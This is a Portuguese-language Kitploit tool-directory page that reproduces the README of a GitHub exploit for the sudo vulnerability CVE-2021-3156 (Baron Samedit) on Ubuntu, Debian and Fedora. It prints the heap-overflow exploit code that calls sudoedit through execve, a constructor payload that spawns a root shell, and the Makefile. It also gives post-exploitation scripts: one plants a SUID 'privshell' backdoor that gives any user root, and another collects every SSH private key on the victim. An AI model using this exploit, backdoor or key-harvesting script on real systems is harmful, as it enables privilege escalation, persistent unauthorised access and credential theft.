Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
PE_CVE-CVE-2021-3156 — Exploit para Ubuntu 20.04 usando CVE-2021-3156 aprimorado com scripts de pós-exploração | Kitploit
Ferramentas/GitHubGitHub/purpleozone/pe_cve-cve-2021-3156
Escalada de PrivilégiosAnálise de VulnerabilidadesExploraçãoPós-ExploraçãoTestes de PenetraçãoAprendizado e EducaçãoRed TeamingDesenvolvimento de PayloadsExploração de Binários
GitHubpurpleozone/pe_cve-cve-2021-3156

PE_CVE-CVE-2021-3156

Exploit para Ubuntu 20.04 usando CVE-2021-3156 aprimorado com scripts de pós-exploração

714há 3 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Ver Repositório

PE_CVE-CVE-2021-3156

Exploit para Ubuntu 20.04 usando CVE-2021-3156, melhorado com scripts de pós-exploração simples e automatizados

Além do shell root, você pode ter:

-Um arquivo .txt com todas as chaves ssh id_rsa configuradas no servidor. Veja o script: get_all_ssh_keys.sh

-Um executável privshell que permite a qualquer usuário iniciar um shell root (trabalhando na correção do erro do gcc). Veja o script: create_privshell.sh

PoC para o PE_CVE-CVE-2021-3156.

Requisitos

Para obter um resultado bem-sucedido, é necessário que a máquina da vítima tenha uma das seguintes versões do SO e do Sudo:

-Ubuntu 20.04 (Sudo 1.8.31)

-Debian 10 (Sudo 1.8.27)

-Fedora 33 (Sudo 1.9.2)

image

Para deixar a minha VM vulnerável, eu fiz o downgrade da minha versão do sudo com o seguinte comando:

root@kitploit:~
$ sudo apt install sudo=1.8.31-1ubuntu1

Exploit

O exploit funciona desde que o acesso ao sistema da vítima seja obtido com um usuário sem privilégios consideráveis.

image

Você pode clonar o repositório para a máquina da vítima ou para a sua máquina local e carregá-lo com wget

image

Execute o comando "make" para compilar os arquivos .c de acordo com a vulnerabilidade image

Você obterá o arquivo do exploit, então pode executá-lo com "./" Depois de executar o exploit, podemos ver dois arquivos gerados no repositório: um contém todas as chaves ssh registradas no sistema e o outro contém o executável SUID que concede uma sessão root a todos os usuários. (destacado em roxo)

image

Você pode ver um erro como o seguinte:

image

Ainda estou tentando resolver o erro, mas acho que é o shell que gera o exploit. Tentei executar o comando ./create_privshell.sh como root, acessando com sudo su a partir de um usuário com permissões adequadas, e a compilação do script ocorreu bem. Alternativamente, ele pode ser compilado em outra máquina e copiado para a vítima, é por isso que existe uma requisição wget.

O script para compilar é o seguinte:

root@kitploit:~
echo 'int main() { setresuid(0,0,0); system("/bin/sh"); }' > privshell.c
gcc -o privshell privshell.c
rm privshell.c
chown root:root privshell
chmod u+s privshell

Agora você pode ler os arquivos .txt com todas as chaves ssh e usar o privshell até eu corrigir o erro do gcc image

SOBRE O CVE-2021-3156.

Descoberto pela Qualys

Pontuação CVSS de 7.8

O CVE-2021-3156, também conhecido como vulnerabilidade "Baron Samedit", é uma vulnerabilidade de segurança que afeta o programa sudo, amplamente utilizado em sistemas operacionais baseados em Unix. O sudo é um programa que permite aos usuários executar comandos com privilégios elevados, geralmente inserindo a própria senha ou a senha de root. A vulnerabilidade é causada por um problema de estouro de buffer no recurso "sudoedit" do comando sudo, que permite aos usuários editar arquivos com privilégios elevados. A vulnerabilidade foi descoberta pela primeira vez em janeiro de 2021 pela Qualys Research Labs e afeta as versões do sudo de 1.8.2 a 1.8.31p2 e de 1.9.0 a 1.9.5p1.

###Detalhes muito, muito técnicos Informações de: Qualys

image

image

image

Em outras palavras, set_cmnd() é vulnerável a um estouro de buffer baseado em heap, porque os caracteres fora dos limites copiados para o buffer "user_args" não foram incluídos no seu tamanho (calculado nas linhas 852-853).

Para a parte do estouro, usei o arquivo exploit.c de redhawkeye/sudo-exploit

É um pouco complexo, mas facilmente interpretável.

root@kitploit:~
 char *env[] = {
        "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
        "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
        "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
        "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
        "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
        "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
        "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
        "\\", "\\", "\\", "\\", "\\", "\\", "\\",
        "X/X",
        concat("LC_ALL=C.UTF-8@", str_repeat('A', 0xd0)),
        NULL
    };

Esta parte declara um array de variáveis de ambiente env que será passado para a chamada de sistema execve. As variáveis de ambiente contêm uma série de barras invertidas e uma variável especialmente criada chamada LC_ALL, que tem o valor "C.UTF-8@" concatenado com 208 (0xd0) caracteres 'A'. O valor C.UTF-8@ será passado como a variável de ambiente LC_ALL para o comando sudoedit. Os 208 caracteres 'A' são usados para estourar um buffer no programa sudoedit e executar código arbitrário.

root@kitploit:~
  char * a = concat(str_repeat('A', 0x70),"\\");
    char * argv[] = {"/usr/bin/sudoedit", "-s", a, NULL};
    execve(argv[0], argv, env);

Esta parte declara uma variável a que contém uma string de 112 (0x70) caracteres 'A', seguida por uma barra invertida. Em seguida, declara um array argv que será passado para execve. O array contém o caminho para o comando sudoedit (/usr/bin/sudoedit), a flag -s e a variável a criada acima.

root@kitploit:~
  execve(argv[0], argv, env);

Esta é a chamada de sistema execve que realmente executa o comando sudoedit com os argumentos e variáveis de ambiente fornecidos. O programa sudoedit lerá a variável de ambiente LC_ALL e tentará interpretá-la como um caminho de arquivo. Os caracteres 'A' em excesso serão usados para gravar dados arbitrários na memória e potencialmente executar código arbitrário.

Então esses dados na memória reservados para o RCE serão usados pelo nosso arquivo shell_tool.c

root@kitploit:~
__attribute((constructor))
static void sice() {
    setuid(0);
    system("command");
    ...
    system("bash");

Esta parte do código declara uma função chamada sice com o atributo attribute((constructor)), então a função será chamada automaticamente quando o programa iniciar, antes da execução de main(). Dentro da função sice, a função setuid(0) é chamada para definir o ID de usuário efetivo do processo para 0, que é o ID do superusuário ou root. Isso efetivamente dá ao programa privilégios de root. Depois disso, apenas usando o argumento system("command"), podemos fazer qualquer coisa antes que a sessão root apareça no terminal; foi por isso que quis tentar a coisa do scripting para ter alguns backdoors e dados exfiltrados antes de obtermos o shell root.

Tentei codificar minha própria versão do código chamada mybufferof.c; basicamente é bem parecida, então fique à vontade para modificar o Makefile para testá-la, jeje

Sobre o Makefile

root@kitploit:~
all:
	gcc bufferof.c -o exploit
	mkdir libnss_X
	gcc -g -fPIC -shared shell_tool.c -o libnss_X/X.so.2

Primeiro, precisamos compilar nosso exploit e depois criar o diretório "libnss_X". Em seguida, o último comando compila o arquivo shell_tool.c e cria um arquivo de objeto compartilhado chamado X.so.2 no diretório libnss_X:

A flag -g gera informações de depuração para o arquivo de objeto compartilhado.

A flag -fPIC gera código independente de posição para objetos compartilhados.

A flag -shared especifica que um arquivo de objeto compartilhado deve ser criado.

O arquivo de objeto compartilhado resultante X.so.2 é colocado no diretório libnss_X criado na segunda etapa.

Isso é importante para o CVE, por causa disto:

image

Dados de:Qualys

É só isso, aproveite, acho eu

Baixar ferramenta